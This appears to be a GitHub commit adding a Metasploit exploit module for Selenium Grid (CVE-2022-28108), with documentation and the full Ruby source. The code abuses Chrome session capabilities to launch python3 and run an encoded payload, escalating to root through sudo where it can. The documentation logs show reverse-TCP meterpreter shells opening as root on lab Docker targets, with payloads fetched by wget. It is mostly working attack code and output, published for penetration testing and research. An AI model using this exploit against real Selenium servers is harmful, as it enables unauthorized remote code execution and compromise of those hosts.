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Land #19769, Add Selenium Chrome RCE module (CVE-2022-28108)
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Land #19769, Add Selenium Chrome RCE module (CVE-2022-28108)
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dledda-r7 authored Jan 7, 2025
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112 changes: 112 additions & 0 deletions ...entation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md
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## Vulnerable Application

Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types
such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.

The vulnerability affects:

* Selenium Server (Grid) before 4.0.0-alpha-7

This module was successfully tested on:

* selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04
* selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04


### Installation

1. `docker pull selenium/standalone-chrome:3.141.59`

2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-chrome:3.141.59`


## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108`
4. Do: `run lhost=<lhost> rhost=<rhost>`
5. You should get a meterpreter


## Options


## Scenarios
### selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04
```
msf6 > use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > options
Module options (exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 4444 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE true yes Attempt to delete the binary after execution
FETCH_FILENAME OmbNmrIU no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4444
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:40990) at 2024-12-30 13:33:31 +0900
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 172.17.0.5
OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

### selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
```
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected.
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:34888) at 2024-12-30 13:34:30 +0900
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 172.17.0.6
OS : Ubuntu 18.04 (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
133 changes: 133 additions & 0 deletions modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Selenium chrome RCE',
'Description' => %q{
Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types
such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
},
'Author' => [
'randomstuff (Gabriel Corona)', # Exploit development
'Wiz Research', # Vulnerability research
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-28108'],
['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'],
['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'],
],
'Payload' => {},
'Platform' => %w[linux],
'Targets' => [
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
'DefaultOptions' => {
# tested cmd/linux/http/x64/meterpreter_reverse_tcp
'FETCH_COMMAND' => 'WGET'
}
}
],
],
'DefaultOptions' => {
'FETCH_DELETE' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => '2022-04-18',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
Opt::RPORT(4444),
]
)
end

def check
# Request for Selenium Grid version 4
v4res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'status')
})
return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected.') if v4res && v4res.get_json_document &&
v4res.get_json_document.include?('value') &&
v4res.get_json_document['value'].include?('message') &&
v4res.get_json_document['value']['message'].downcase.include?('selenium grid')

# Request for Selenium Grid version 3
v3res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200

js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code

json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
begin
json_data = JSON.parse(json_str)
rescue JSON::ParserError
return Exploit::CheckCode::Unknown('Unable to determine the version.')
end
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']

# Extract the version
version = Rex::Version.new(json_data['version'])
if version == Rex::Version.new('4.0.0-alpha-7') || Rex::Version.new('4.0.1') <= version
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.")
end

CheckCode::Appears("Version #{version} detected, which is vulnerable.")
end

def exploit
b64encoded_payload = Rex::Text.encode_base64(
"if sudo -n true 2>/dev/null; then\n"\
" echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\
"else\n"\
" #{payload.encoded}\n"\
"fi\n"
)

# Create the request body as a Ruby hash and then convert it to JSON
body = {
'capabilities' => {
'alwaysMatch' => {
'browserName' => 'chrome',
'goog:chromeOptions' => {
'binary' => '/usr/bin/python3',
'args' => ["-cimport base64,os; bp=b'#{b64encoded_payload}'; os.system(base64.b64decode(bp).decode())"]
}
}
}
}.to_json

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wd/hub/session'),
'headers' => { 'Content-Type' => 'text/plain' },
'data' => body
})
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
end

end

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